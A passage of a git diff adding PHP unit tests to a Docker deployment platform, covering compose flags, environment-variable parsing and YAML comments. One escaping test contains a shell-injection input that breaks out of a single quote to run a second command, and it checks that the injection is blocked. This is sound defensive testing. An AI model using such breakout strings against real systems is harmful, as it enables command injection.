deploy_docker_compose_buildpack() + if (! str($customStartCommand)->contains('--project-directory')) { + $projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir; + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); + } + + // When preserveRepository is false, --project-directory must point to container path + expect($customStartCommand)->toContain("--project-directory {$containerWorkdir}"); + expect($customStartCommand)->not->toContain('/data/coolify/applications/'); +}); + +it('does not override explicit --project-directory in custom start command', function () { + $customProjectDir = '/custom/path'; + $customStartCommand = "docker compose --project-directory {$customProjectDir} up -d"; + + // Simulate the --project-directory injection — should be skipped + if (! str($customStartCommand)->contains('--project-directory')) { + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory /should-not-appear')->value(); + } + + expect($customStartCommand)->toContain("--project-directory {$customProjectDir}"); + expect($customStartCommand)->not->toContain('/should-not-appear'); +}); + +it('uses container paths for env-file when preserveRepository is false', function () { + $workdir = '/artifacts/deployment-uuid/backend'; + $composeLocation = '/compose.yml'; + $preserveRepository = false; + $serverWorkdir = '/data/coolify/applications/app-uuid'; + + $workdirPath = $preserveRepository ? $serverWorkdir : $workdir; + $startCommand = injectDockerComposeFlags( + 'docker compose --profile all up -d', + "{$workdirPath}{$composeLocation}", + "{$workdirPath}/.env" + ); + + // Verify the injected paths point to the container filesystem + expect($startCommand)->toContain("--env-file {$workdir}/.env"); + expect($startCommand)->toContain("-f {$workdir}{$composeLocation}"); + expect($startCommand)->not->toContain('/data/coolify/applications/'); +}); diff --git a/tests/Unit/EnvironmentVariableFillableTest.php b/tests/Unit/EnvironmentVariableFillableTest.php new file mode 100644 index 000000000..8c5f68b21 --- /dev/null +++ b/tests/Unit/EnvironmentVariableFillableTest.php @@ -0,0 +1,72 @@ +getFillable(); + + // Core identification + expect($fillable)->toContain('key') + ->toContain('value') + ->toContain('comment'); + + // Polymorphic relationship + expect($fillable)->toContain('resourceable_type') + ->toContain('resourceable_id'); + + // Boolean flags — all used in create/firstOrCreate/updateOrCreate calls + expect($fillable)->toContain('is_preview') + ->toContain('is_multiline') + ->toContain('is_literal') + ->toContain('is_runtime') + ->toContain('is_buildtime') + ->toContain('is_shown_once') + ->toContain('is_shared') + ->toContain('is_required'); + + // Metadata + expect($fillable)->toContain('version') + ->toContain('order'); +}); + +test('is_required can be mass assigned', function () { + $model = new EnvironmentVariable; + $model->fill(['is_required' => true]); + + expect($model->is_required)->toBeTrue(); +}); + +test('all boolean flags can be mass assigned', function () { + $booleanFlags = [ + 'is_preview', + 'is_multiline', + 'is_literal', + 'is_runtime', + 'is_buildtime', + 'is_shown_once', + 'is_required', + ]; + + $model = new EnvironmentVariable; + $model->fill(array_fill_keys($booleanFlags, true)); + + foreach ($booleanFlags as $flag) { + expect($model->$flag)->toBeTrue("Expected {$flag} to be mass assignable and set to true"); + } + + // is_shared has a computed getter derived from the value field, + // so verify it's fillable via the underlying attributes instead + $model2 = new EnvironmentVariable; + $model2->fill(['is_shared' => true]); + expect($model2->getAttributes())->toHaveKey('is_shared'); +}); + +test('non-fillable fields are rejected by mass assignment', function () { + $model = new EnvironmentVariable; + $model->fill(['id' => 999, 'uuid' => 'injected', 'created_at' => 'injected']); + + expect($model->id)->toBeNull() + ->and($model->uuid)->toBeNull() + ->and($model->created_at)->toBeNull(); +}); diff --git a/tests/Unit/EnvironmentVariableMagicVariableTest.php b/tests/Unit/EnvironmentVariableMagicVariableTest.php new file mode 100644 index 000000000..ae85ba45f --- /dev/null +++ b/tests/Unit/EnvironmentVariableMagicVariableTest.php @@ -0,0 +1,141 @@ +shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_FQDN_DB'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_URL variables are identified as magic variables', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_URL_API'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_NAME variables are identified as magic variables', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_NAME'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('regular variables are not magic variables', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('DATABASE_URL'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeFalse(); + expect($component->isDisabled)->toBeFalse(); +}); + +test('locked variables are not magic variables unless they start with SERVICE_', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SECRET_KEY'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(true); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeFalse(); + expect($component->isLocked)->toBeTrue(); +}); + +test('SERVICE_FQDN with port suffix is identified as magic variable', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_FQDN_DB_5432'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_URL with port suffix is identified as magic variable', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_URL_API_8080'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); diff --git a/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php new file mode 100644 index 000000000..a52d7dba5 --- /dev/null +++ b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php @@ -0,0 +1,351 @@ +toBe(''); +}); + +test('splitOnOperatorOutsideNested handles empty variable name with default', function () { + $split = splitOnOperatorOutsideNested(':-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('default'); +}); + +test('extractBalancedBraceContent handles double opening brace', function () { + $result = extractBalancedBraceContent('${{VAR}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('{VAR}'); +}); + +test('extractBalancedBraceContent returns null for empty string', function () { + $result = extractBalancedBraceContent('', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just dollar sign', function () { + $result = extractBalancedBraceContent('$', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just opening brace', function () { + $result = extractBalancedBraceContent('{', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for just closing brace', function () { + $result = extractBalancedBraceContent('}', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles extra closing brace', function () { + $result = extractBalancedBraceContent('${VAR}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR'); +}); + +test('extractBalancedBraceContent returns null for unclosed with no content', function () { + $result = extractBalancedBraceContent('${', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null for deeply unclosed nested braces', function () { + $result = extractBalancedBraceContent('${A:-${B:-${C}', 0); + + assertNull($result); +}); + +test('replaceVariables handles empty braces gracefully', function () { + $result = replaceVariables('${}'); + + expect($result->value())->toBe(''); +}); + +test('replaceVariables handles double braces gracefully', function () { + $result = replaceVariables('${{VAR}}'); + + expect($result->value())->toBe('{VAR}'); +}); + +// ─── Edge Cases with Braces and Special Characters ───────────────────────────── + +test('extractBalancedBraceContent finds consecutive variables', function () { + $str = '${A}${B}'; + + $first = extractBalancedBraceContent($str, 0); + assertNotNull($first); + expect($first['content'])->toBe('A'); + + $second = extractBalancedBraceContent($str, $first['end'] + 1); + assertNotNull($second); + expect($second['content'])->toBe('B'); +}); + +test('splitOnOperatorOutsideNested handles URL with port in default', function () { + $split = splitOnOperatorOutsideNested('URL:-http://host:8080/path'); + + assertNotNull($split); + expect($split['variable'])->toBe('URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('http://host:8080/path'); +}); + +test('splitOnOperatorOutsideNested handles equals sign in default', function () { + $split = splitOnOperatorOutsideNested('VAR:-key=value&foo=bar'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('key=value&foo=bar'); +}); + +test('splitOnOperatorOutsideNested handles dashes in default value', function () { + $split = splitOnOperatorOutsideNested('A:-value-with-dashes'); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('value-with-dashes'); +}); + +test('splitOnOperatorOutsideNested handles question mark in default value', function () { + $split = splitOnOperatorOutsideNested('A:-what?'); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('what?'); +}); + +test('extractBalancedBraceContent handles variable with digits', function () { + $result = extractBalancedBraceContent('${VAR123}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR123'); +}); + +test('extractBalancedBraceContent handles long variable name', function () { + $longName = str_repeat('A', 200); + $result = extractBalancedBraceContent('${'.$longName.'}', 0); + + assertNotNull($result); + expect($result['content'])->toBe($longName); +}); + +test('splitOnOperatorOutsideNested returns null for empty string', function () { + $split = splitOnOperatorOutsideNested(''); + + assertNull($split); +}); + +test('splitOnOperatorOutsideNested handles variable name with underscores', function () { + $split = splitOnOperatorOutsideNested('_MY_VAR_:-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('_MY_VAR_') + ->and($split['default'])->toBe('default'); +}); + +test('extractBalancedBraceContent with startPos beyond string length', function () { + $result = extractBalancedBraceContent('${VAR}', 100); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles brace in middle of text', function () { + $result = extractBalancedBraceContent('prefix ${VAR} suffix', 0); + + assertNotNull($result); + expect($result['content'])->toBe('VAR'); +}); + +// ─── Deeply Nested Defaults ──────────────────────────────────────────────────── + +test('extractBalancedBraceContent handles four levels of nesting', function () { + $input = '${A:-${B:-${C:-${D}}}}'; + + $result = extractBalancedBraceContent($input, 0); + + assertNotNull($result); + expect($result['content'])->toBe('A:-${B:-${C:-${D}}}'); +}); + +test('splitOnOperatorOutsideNested handles four levels of nesting', function () { + $content = 'A:-${B:-${C:-${D}}}'; + $split = splitOnOperatorOutsideNested($content); + + assertNotNull($split); + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-${C:-${D}}}'); + + // Verify second level + $nested = extractBalancedBraceContent($split['default'], 0); + assertNotNull($nested); + $split2 = splitOnOperatorOutsideNested($nested['content']); + assertNotNull($split2); + expect($split2['variable'])->toBe('B') + ->and($split2['default'])->toBe('${C:-${D}}'); +}); + +test('multiple variables at same depth in default', function () { + $input = '${A:-${B}/${C}/${D}}'; + + $result = extractBalancedBraceContent($input, 0); + assertNotNull($result); + + $split = splitOnOperatorOutsideNested($result['content']); + assertNotNull($split); + expect($split['default'])->toBe('${B}/${C}/${D}'); + + // Verify all three nested variables can be found + $default = $split['default']; + $vars = []; + $pos = 0; + while (($nested = extractBalancedBraceContent($default, $pos)) !== null) { + $vars[] = $nested['content']; + $pos = $nested['end'] + 1; + } + + expect($vars)->toBe(['B', 'C', 'D']); +}); + +test('nested with mixed operators', function () { + $input = '${A:-${B:?required}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:?required}'); + + // Inner variable uses :? operator + $nested = extractBalancedBraceContent($split['default'], 0); + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + + expect($innerSplit['variable'])->toBe('B') + ->and($innerSplit['operator'])->toBe(':?') + ->and($innerSplit['default'])->toBe('required'); +}); + +test('nested variable without default as default', function () { + $input = '${A:-${B}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${B}'); + + $nested = extractBalancedBraceContent($split['default'], 0); + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + + assertNull($innerSplit); + expect($nested['content'])->toBe('B'); +}); + +// ─── Backwards Compatibility ─────────────────────────────────────────────────── + +test('replaceVariables with brace format without dollar sign', function () { + $result = replaceVariables('{MY_VAR}'); + + expect($result->value())->toBe('MY_VAR'); +}); + +test('replaceVariables with truncated brace format', function () { + $result = replaceVariables('{MY_VAR'); + + expect($result->value())->toBe('MY_VAR'); +}); + +test('replaceVariables with plain string returns unchanged', function () { + $result = replaceVariables('plain_value'); + + expect($result->value())->toBe('plain_value'); +}); + +test('replaceVariables preserves full content for variable with default', function () { + $result = replaceVariables('${DB_HOST:-localhost}'); + + expect($result->value())->toBe('DB_HOST:-localhost'); +}); + +test('replaceVariables preserves nested content for variable with nested default', function () { + $result = replaceVariables('${DB_URL:-${SERVICE_URL_PG}/db}'); + + expect($result->value())->toBe('DB_URL:-${SERVICE_URL_PG}/db'); +}); + +test('replaceVariables with brace format containing default falls back gracefully', function () { + $result = replaceVariables('{VAR:-default}'); + + expect($result->value())->toBe('VAR:-default'); +}); + +test('splitOnOperatorOutsideNested colon-dash takes precedence over bare dash', function () { + $split = splitOnOperatorOutsideNested('VAR:-val-ue'); + + assertNotNull($split); + expect($split['operator'])->toBe(':-') + ->and($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('val-ue'); +}); + +test('splitOnOperatorOutsideNested colon-question takes precedence over bare question', function () { + $split = splitOnOperatorOutsideNested('VAR:?error?'); + + assertNotNull($split); + expect($split['operator'])->toBe(':?') + ->and($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('error?'); +}); + +test('full round trip: extract, split, and resolve nested variables', function () { + $input = '${APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health}'; + + // Step 1: Extract outer content + $result = extractBalancedBraceContent($input, 0); + assertNotNull($result); + expect($result['content'])->toBe('APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health'); + + // Step 2: Split on outer operator + $split = splitOnOperatorOutsideNested($result['content']); + assertNotNull($split); + expect($split['variable'])->toBe('APP_URL') + ->and($split['default'])->toBe('${SERVICE_URL_APP}/v${API_VERSION:-2}/health'); + + // Step 3: Find all nested variables in default + $default = $split['default']; + $nestedVars = []; + $pos = 0; + while (($nested = extractBalancedBraceContent($default, $pos)) !== null) { + $innerSplit = splitOnOperatorOutsideNested($nested['content']); + $nestedVars[] = [ + 'name' => $innerSplit !== null ? $innerSplit['variable'] : $nested['content'], + 'default' => $innerSplit !== null ? $innerSplit['default'] : null, + ]; + $pos = $nested['end'] + 1; + } + + expect($nestedVars)->toHaveCount(2) + ->and($nestedVars[0]['name'])->toBe('SERVICE_URL_APP') + ->and($nestedVars[0]['default'])->toBeNull() + ->and($nestedVars[1]['name'])->toBe('API_VERSION') + ->and($nestedVars[1]['default'])->toBe('2'); +}); diff --git a/tests/Unit/ExecuteInDockerEscapingTest.php b/tests/Unit/ExecuteInDockerEscapingTest.php new file mode 100644 index 000000000..14777ca1c --- /dev/null +++ b/tests/Unit/ExecuteInDockerEscapingTest.php @@ -0,0 +1,35 @@ +toBe("docker exec test-container bash -c 'ls -la /app'"); +}); + +it('escapes single quotes in command', function () { + $result = executeInDocker('test-container', "echo 'hello world'"); + + expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''"); +}); + +it('prevents command injection via single quote breakout', function () { + $malicious = "cd /dir && docker compose build'; id; #"; + $result = executeInDocker('test-container', $malicious); + + // The single quote in the malicious command should be escaped so it cannot break out of bash -c + // The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped + expect($result)->not->toContain("build'; id;"); + expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'"); +}); + +it('handles empty command', function () { + $result = executeInDocker('test-container', ''); + + expect($result)->toBe("docker exec test-container bash -c ''"); +}); + +it('handles command with multiple single quotes', function () { + $result = executeInDocker('test-container', "echo 'a' && echo 'b'"); + + expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''"); +}); diff --git a/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php new file mode 100644 index 000000000..8d8caacaf --- /dev/null +++ b/tests/Unit/ExtractHardcodedEnvironmentVariablesTest.php @@ -0,0 +1,147 @@ +toHaveCount(2) + ->and($result[0]['key'])->toBe('NODE_ENV') + ->and($result[0]['value'])->toBe('production') + ->and($result[0]['service_name'])->toBe('app') + ->and($result[1]['key'])->toBe('PORT') + ->and($result[1]['value'])->toBe('3000') + ->and($result[1]['service_name'])->toBe('app'); +}); + +test('extracts environment variables with inline comments', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - NODE_ENV=production # Production environment + - DEBUG=false # Disable debug mode +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['comment'])->toBe('Production environment') + ->and($result[1]['comment'])->toBe('Disable debug mode'); +}); + +test('handles multiple services', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - APP_ENV=prod + db: + environment: + - POSTGRES_DB=mydb +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('APP_ENV') + ->and($result[0]['service_name'])->toBe('app') + ->and($result[1]['key'])->toBe('POSTGRES_DB') + ->and($result[1]['service_name'])->toBe('db'); +}); + +test('handles associative array format', function () { + $yaml = <<<'YAML' +services: + app: + environment: + NODE_ENV: production + PORT: 3000 +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('NODE_ENV') + ->and($result[0]['value'])->toBe('production') + ->and($result[1]['key'])->toBe('PORT') + ->and($result[1]['value'])->toBe(3000); // Integer values stay as integers from YAML +}); + +test('handles environment variables without values', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - API_KEY + - DEBUG=false +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('API_KEY') + ->and($result[0]['value'])->toBe('') // Variables without values get empty string, not null + ->and($result[1]['key'])->toBe('DEBUG') + ->and($result[1]['value'])->toBe('false'); +}); + +test('returns empty collection for malformed YAML', function () { + $yaml = 'invalid: yaml: content::: [[['; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection for empty compose file', function () { + $result = extractHardcodedEnvironmentVariables(''); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection when no services defined', function () { + $yaml = <<<'YAML' +version: '3.8' +networks: + default: +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection when service has no environment section', function () { + $yaml = <<<'YAML' +services: + app: + image: nginx +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('handles mixed associative and array format', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - NODE_ENV=production + PORT: 3000 +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + // Mixed format is invalid YAML and returns empty collection + expect($result)->toBeEmpty(); +}); diff --git a/tests/Unit/ExtractYamlEnvironmentCommentsTest.php b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php new file mode 100644 index 000000000..4300b3abf --- /dev/null +++ b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php @@ -0,0 +1,334 @@ +toBe([]); +}); + +test('extractYamlEnvironmentComments extracts inline comments from map format', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + FOO: bar # This is a comment + BAZ: qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is a comment', + ]); +}); + +test('extractYamlEnvironmentComments extracts inline comments from array format', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - FOO=bar # This is a comment + - BAZ=qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is a comment', + ]); +}); + +test('extractYamlEnvironmentComments handles quoted values containing hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + COLOR: "#FF0000" # hex color code + DB_URL: "postgres://user:pass#123@localhost" # database URL + PLAIN: value # no quotes +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'COLOR' => 'hex color code', + 'DB_URL' => 'database URL', + 'PLAIN' => 'no quotes', + ]); +}); + +test('extractYamlEnvironmentComments handles single quoted values containing hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + PASSWORD: 'secret#123' # my password +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'PASSWORD' => 'my password', + ]); +}); + +test('extractYamlEnvironmentComments skips full-line comments', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + # This is a full line comment + FOO: bar # This is an inline comment + # Another full line comment + BAZ: qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is an inline comment', + ]); +}); + +test('extractYamlEnvironmentComments handles multiple services', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + WEB_PORT: 8080 # web server port + db: + image: postgres:15 + environment: + POSTGRES_USER: admin # database admin user + POSTGRES_PASSWORD: secret +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'WEB_PORT' => 'web server port', + 'POSTGRES_USER' => 'database admin user', + ]); +}); + +test('extractYamlEnvironmentComments handles variables without values', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - DEBUG # enable debug mode + - VERBOSE +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'DEBUG' => 'enable debug mode', + ]); +}); + +test('extractYamlEnvironmentComments handles array format with colons', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - DATABASE_URL: postgres://localhost # connection string +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'DATABASE_URL' => 'connection string', + ]); +}); + +test('extractYamlEnvironmentComments does not treat hash inside unquoted values as comment start', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + API_KEY: abc#def + OTHER: xyz # this is a comment +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // abc#def has no space before #, so it's not treated as a comment + expect($result)->toBe([ + 'OTHER' => 'this is a comment', + ]); +}); + +test('extractYamlEnvironmentComments handles empty environment section', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + ports: + - "80:80" +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments handles environment inline format (not supported)', function () { + // Inline format like environment: { FOO: bar } is not supported for comment extraction + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: { FOO: bar } +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // No comments extracted from inline format + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments handles complex real-world docker-compose', function () { + $yaml = <<<'YAML' +version: "3.8" + +services: + app: + image: myapp:latest + environment: + NODE_ENV: production # Set to development for local + DATABASE_URL: "postgres://user:pass@db:5432/mydb" # Main database + REDIS_URL: "redis://cache:6379" + API_SECRET: "${API_SECRET}" # From .env file + LOG_LEVEL: debug # Options: debug, info, warn, error + ports: + - "3000:3000" + + db: + image: postgres:15 + environment: + POSTGRES_USER: user # Database admin username + POSTGRES_PASSWORD: "${DB_PASSWORD}" + POSTGRES_DB: mydb + + cache: + image: redis:7 + environment: + - REDIS_MAXMEMORY=256mb # Memory limit for cache +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'NODE_ENV' => 'Set to development for local', + 'DATABASE_URL' => 'Main database', + 'API_SECRET' => 'From .env file', + 'LOG_LEVEL' => 'Options: debug, info, warn, error', + 'POSTGRES_USER' => 'Database admin username', + 'REDIS_MAXMEMORY' => 'Memory limit for cache', + ]); +}); + +test('extractYamlEnvironmentComments handles comment with multiple hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + FOO: bar # comment # with # hashes +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'comment # with # hashes', + ]); +}); + +test('extractYamlEnvironmentComments handles variables with empty comments', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + FOO: bar # + BAZ: qux # +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // Empty comments should not be included + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments properly exits environment block on new section', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + FOO: bar # env comment + ports: + - "80:80" # port comment should not be captured + volumes: + - ./data:/data # volume comment should not be captured +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // Only environment variables should have comments extracted + expect($result)->toBe([ + 'FOO' => 'env comment', + ]); +}); + +test('extractYamlEnvironmentComments handles SERVICE_ variables', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + SERVICE_FQDN_WEB: /api # Path for the web service + SERVICE_URL_WEB: # URL will be generated + NORMAL_VAR: value # Regular variable +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'SERVICE_FQDN_WEB' => 'Path for the web service', + 'SERVICE_URL_WEB' => 'URL will be generated', + 'NORMAL_VAR' => 'Regular variable', + ]); +}); diff --git a/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php b/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php new file mode 100644 index 000000000..d4271d3ee --- /dev/null +++ b/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php @@ -0,0 +1,54 @@ +toContain('$notRunningApplications = $this->applications->pluck(\'id\')->diff($foundApplications);'); + + // Count occurrences of the safeguard pattern in the not-found sections + $safeguardPattern = '// Only protection: If no containers at all, Docker query might have failed'; + $safeguardCount = substr_count($actionFile, $safeguardPattern); + + // Should appear at least 4 times: applications, previews, databases, services + expect($safeguardCount)->toBeGreaterThanOrEqual(4); +}); + +it('has empty container safeguard for databases', function () { + $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); + + // Extract the database not-found section + $databaseSectionStart = strpos($actionFile, '$notRunningDatabases = $databases->pluck(\'id\')->diff($foundDatabases);'); + expect($databaseSectionStart)->not->toBeFalse('Database not-found section should exist'); + + // Get the code between database section start and the next major section + $databaseSection = substr($actionFile, $databaseSectionStart, 500); + + // The empty container safeguard must exist in the database section + expect($databaseSection)->toContain('$this->containers->isEmpty()'); +}); + +it('has empty container safeguard for services', function () { + $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); + + // Extract the service exited section + $serviceSectionStart = strpos($actionFile, '$exitedServices = $exitedServices->unique(\'uuid\');'); + expect($serviceSectionStart)->not->toBeFalse('Service exited section should exist'); + + // Get the code in the service exited loop + $serviceSection = substr($actionFile, $serviceSectionStart, 500); + + // The empty container safeguard must exist in the service section + expect($serviceSection)->toContain('$this->containers->isEmpty()'); +}); diff --git a/tests/Unit/GitRefValidationTest.php b/tests/Unit/GitRefValidationTest.php new file mode 100644 index 000000000..58d07f4b7 --- /dev/null +++ b/tests/Unit/GitRefValidationTest.php @@ -0,0 +1,123 @@ +toBe('abc123def456'); + expect(validateGitRef('a3e59e5c9'))->toBe('a3e59e5c9'); + expect(validateGitRef('abc123def456abc123def456abc123def456abc123'))->toBe('abc123def456abc123def456abc123def456abc123'); + }); + + test('accepts HEAD', function () { + expect(validateGitRef('HEAD'))->toBe('HEAD'); + }); + + test('accepts empty string', function () { + expect(validateGitRef(''))->toBe(''); + }); + + test('accepts branch and tag names', function () { + 